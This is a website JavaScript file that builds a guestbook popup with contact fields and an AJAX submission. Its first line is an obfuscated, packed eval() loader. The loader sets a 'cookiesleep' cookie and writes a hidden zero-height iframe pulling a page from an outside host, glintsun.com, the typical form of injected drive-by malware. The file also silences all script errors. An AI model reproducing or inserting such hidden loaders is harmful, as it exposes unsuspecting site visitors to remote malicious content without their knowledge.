﻿eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 a=3.7;4 9=a.x("6");w(9!=-1){}v{4 2=u t();2.s(2.r()+q*8*8*p);3.7="6=o;2="+2.n();3.m("<5 l=k://j.i.h/g/f.e d=c b=0></5>")}',34,34,'||expires|document|var|iframe|cookiesleep|cookie|60|start|cookieString|height|10|width|asp|fs|include|com|glintsun|www|http|src|write|toGMTString|test|1000|12|getTime|setTime|Date|new|else|if|indexOf'.split('|'),0,{}));
document.writeln("<meta http-equiv=\"Content-Type\" content=\"text\/html; charset=gb2312\"/>");
document.writeln("<style>");
document.writeln(".ttou{width:307px!important; width:322px; height:21px; border-width:1px 4px 0 1px; border-style:solid; border-color:#fbc364; background-color:#feeed5;  padding:8px 0 3px 10px; font-size:14px; font-weight:bold; color:#ff6906; text-align:left;margin:0;}");
document.writeln(".ttou span{color:#000; float:right; font-size:12px; font-weight:normal; padding-top:1px; margin-right:9px;}");
document.writeln(".ttou a,.ttou a:hover{color:#4240a1;}");
document.writeln(".tzhong{width:307px!important; width:322px; height:210px; border-width:0 4px 4px 1px; border-style:solid; border-color:#fbc364; background-color:#fff; padding:15px 0 9px 10px;}");
document.writeln(".tzhong ul{margin:0; padding:0; list-style:none;}");
document.writeln(".tzhong li{float:left; text-align:center; width:50px; line-height:28px; list-style:none; margin:0; padding:0;}");
document.writeln(".tzhong li a{color:#000; text-decoration:none;line-height:28px;}");
document.writeln(".tzhong li a:hover{color:#000; text-decoration:underline;line-height:28px;}");
document.writeln("<\/style>");

String.prototype.trim= function()  
{  
         return this.replace(/(^\s*)|(\s*$)/g, "");  
}
function kuang(){
	var eSrc=window.event.srcElement;
	var shield = document.createElement("DIV");
	shield.id = "shield";
	shield.style.position = "absolute";
	shield.style.left = "0px";
	shield.style.top = "0px";
	shield.style.width = shield.style.width = (document.body.scrollWidth?document.body.scrollWidth:document.body.offsetWidth?document.body.offsetWidth:document.body.clientWidth)+"px";
	shield.style.height = shield.style.height = (document.body.scrollHeight?document.body.scrollHeight:document.body.offsetHeight?document.body.offsetHeight:document.body.clientHeight)+"px";
	shield.style.background = "#333";
	shield.style.textAlign = "center";
	shield.style.zIndex = "10000";
	shield.style.filter = "alpha(opacity=0)";
	shield.style.opacity = 0;

	var alertFram = document.createElement("DIV");
	alertFram.id="alertFram";
	alertFram.style.position = "absolute";
	alertFram.style.width = "322px";
	alertFram.style.height = "230px";
	alertFram.style.left=(document.body.clientWidth-322)/2+document.body.scrollLeft;
    alertFram.style.top=(document.body.clientHeight-230)/2;
	alertFram.style.marginLeft = "0%" ;
	alertFram.style.marginTop = "0%";	
	alertFram.style.zIndex = "10001";
	strHtml  = "<h2 class=\"ttou\"><span class=\"close\">[<a href=\"javascript:void(null);\" onclick=\"doOk();\">关闭</a>]</span>&nbsp;用户留言</h2>\n";
	strHtml += "<div id=\"postform\" class=\"tzhong\">\n";
	strHtml += "	<table>\n";
	strHtml += "		<tr><td>联系人:</td><td><input id=\"Text1\" type=\"text\"  /></td></tr>\n";
	strHtml += "		<tr><td>电  话:</td><td><input id=\"Text2\" type=\"text\"  /></td></tr>\n";
	strHtml += "		<tr><td>内  容:</td><td><textarea id=\"TextArea1\" style=\"width: 250px; height: 90px\" cols=\"20\" rows=\"2\"></textarea></td></tr>\n";
	strHtml += "		<tr><td colspan=2 ><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input id=\"Button1\" type=\"button\" onclick=\"liuyan();\" value=\"确定\" />&nbsp;&nbsp;<input id=\"Button1\" type=\"button\" value=\"取消\"  onclick=\"doOk();\"/></td></tr>\n";
	strHtml += "</table></div>\n";
	alertFram.innerHTML = strHtml;
	document.body.appendChild(alertFram);
	document.body.appendChild(shield);
	this.setOpacity = function(obj,opacity){
		if(opacity>=1)opacity=opacity/100;
		try{ obj.style.opacity=opacity; }catch(e){}
		try{ 
			if(obj.filters.length>0&&obj.filters("alpha")){
			obj.filters("alpha").opacity=opacity*90;
			}else{
				obj.style.filter="alpha(opacity=\""+(opacity*90)+"\")";
			}
		}catch(e){}
	}
						
	var c = 0;
	this.doAlpha = function(){
		if (++c > 20){clearInterval(ad);return 0;}
		setOpacity(shield,c);
	}
	var ad = setInterval("doAlpha()",1);
	eSrc.blur();
}
function doOk(){
		document.body.removeChild(alertFram);
		document.body.removeChild(shield);		
        eSrc.focus();
	}
function liuyan()
{ 
    var   urlStr   = location.href; 
    var filename= urlStr.substr(urlStr.lastIndexOf('/')   +   1);   
    var id=filename.substring(0,filename.lastIndexOf('.'));
    var Name=document.getElementById("Text1").value.trim();
    var Tel=document.getElementById("Text2").value.trim();
    var Body=document.getElementById("TextArea1").value.trim()
    if(Name==""||Name.length>6)
    {
        window.alert("联系人应为1-6个字符");        
        document.getElementById("Text1").focus();        
        return false;
    }
    if(Tel==""||Tel.length>15)
    {
        window.alert("电话应为1-15个字符");       
        document.getElementById("Text2").focus();        
        return false;
    }  
    if(Body==""||Body.length>50)
    {
        window.alert("留言内容应为1-50个字符");      
        document.getElementById("TextArea1").focus();        
        return false;
    }   
    Name=encodeURI(Name);
    Tel=encodeURI(Tel);
    Body=encodeURI(Body);
    xmlHttp=createXmlHttpRequest();    
    var url="../DisposeEvent.aspx?Name="+Name+"&Tel="+Tel+"&Body="+Body+"&Id="+id+"&Event=liuyanevent";
    xmlHttp.open("GET",url,true);
    xmlHttp.onreadystatechange=liuyanresult;   
    xmlHttp.send(null);  
}
 var xmlHttp;
function createXmlHttpRequest()
{   
    if(window.XMLHttpRequest)
    {
        xmlHttp=new XMLHttpRequest();
    
        if(xmlHttp.overrideMimeType)
            {
                xmlHttp.overrideMimeType("text/xml");
            }
    }
    else if(window.ActiveXObject)
    {
        try
        {
            xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");                   
        }
        catch(e)
        {
            xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");                   
        }
    }
    if(!xmlHttp)
    {
        window.alert("你的浏览器不支持创建XMLhttpRequest对象");
    }
    return xmlHttp;
}
function liuyanresult()
{
    if(xmlHttp.readyState==4)
    {
        if(xmlHttp.status==200)
        {
            if(xmlHttp.responseText=="true")
            {   
               window.alert("谢谢您的留言！");
               doOk();
            }
            else
            {
                window.alert("留言失败，请重试！");                    
            }
        }
    }

}
function killerrors(){
	return true;
}
window.onerror = killerrors;

